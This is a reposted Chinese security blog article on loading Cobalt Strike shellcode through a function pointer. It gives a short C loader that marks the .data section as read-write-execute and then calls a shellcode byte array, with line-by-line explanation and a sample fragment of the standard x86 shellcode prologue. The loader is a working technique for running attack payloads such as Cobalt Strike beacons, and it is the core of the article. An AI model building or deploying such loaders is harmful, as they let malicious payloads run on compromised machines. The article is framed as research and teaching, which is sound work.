CobaltStrike加载Shellcode姿势解析(二)

admin 2024年2月9日01:21:34评论26 views字数 634阅读2分6秒阅读模式

函数指针加载

代码部分

#include <Windows.h>

#pragma comment(linker, "/section:.data,RWE")unsigned char shellcode[] ="";

void main() {     ((void(*)(void)) & shellcode)();  }

解析如下

1、将data段的内存属性定义为:RWE 使其具有可读可写可执行的权限

在Windows操作系统中,内存段的属性可以通过标志位来设置。其中,可读(R)、可写(W)和可执行(E)是常见的标志位。

在源代码中,你不能直接将E改成X或者将X改成E。这是因为E和X是在链接器(linker)或编译器(compiler)等工具中使用的标志位,用于设置内存段的属性。

2、代码解析

在C++中,((void(*)(void)) & shellcode)(); 这段代码是一种函数指针的用法。它将 shellcode 的地址强制转换为一个指向无返回值、无参数的函数指针,然后通过调用该函数指针来执行相应的函数。


注意事项

1、注意开发环境:均可

2、shellcode格式:

unsigned char shellcode[] ="xfcxe8x8fx00x00x00x60x89xe5x31xd2x64x8bx52x30x8b""x52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0";

原文始发于微信公众号(零攻防):CobaltStrike加载Shellcode姿势解析(二)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月9日01:21:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CobaltStrike加载Shellcode姿势解析(二)https://cn-sec.com/archives/2471492.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息